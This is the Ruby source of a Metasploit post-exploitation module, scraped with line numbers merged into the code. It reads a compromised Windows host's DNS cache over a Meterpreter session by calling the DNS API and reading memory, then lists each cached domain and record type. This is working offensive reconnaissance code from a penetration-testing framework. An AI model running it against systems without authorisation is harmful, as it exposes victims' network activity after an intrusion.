Path: blob/master/modules/post/windows/gather/dnscache_dump.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Windows Gather DNS Cache',12'Description' => %q{ This module displays the records stored in the DNS cache.},13'License' => MSF_LICENSE,14'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],15'Platform' => [ 'win' ],16'SessionTypes' => [ 'meterpreter' ],17'Notes' => {18'Stability' => [CRASH_SAFE],19'SideEffects' => [],20'Reliability' => []21},22'Compat' => {23'Meterpreter' => {24'Commands' => %w[25stdapi_railgun_api26stdapi_railgun_memread27]28}29}30)31)32end3334def run35rtable = Rex::Text::Table.new(36'Header' => 'DNS Cached Entries',37'Indent' => 3,38'Columns' => ['TYPE', 'DOMAIN']39)4041client.railgun.add_dll('dnsapi') if !client.railgun.get_dll('dnsapi')42client.railgun.add_function('dnsapi', 'DnsGetCacheDataTable', 'DWORD', [['PBLOB', 'cacheEntries', 'inout']])43result = client.railgun.dnsapi.DnsGetCacheDataTable('aaaa')44address = result['cacheEntries'].unpack1('V')4546# typedef struct _DNS_CACHE_ENTRY47# struct _DNS_CACHE_ENTRY* pNext;48# PWSTR pszName;49# unsigned short wType;50# unsigned short wDataLength;51# unsigned long dwFlags;5253while (address != 0)54struct_pointer = client.railgun.memread(address, 10)55# Get the pointer to the DNS record name56domain_pointer = struct_pointer[4, 4].unpack1('V')57dns_type = struct_pointer[8, 2].unpack1('h*').reverse58# According to the restrictions on valid host names, we read a maximum of 255 characters for each entry59domain_name = client.railgun.memread(domain_pointer, 255).split("\x00\x00").first60rtable << [dns_type, domain_name]61# Get the next _DNS_CACHE_ENTRY struct pointer62address = struct_pointer[0, 4].unpack1('V')63end64print_status(rtable.to_s)65end66end676869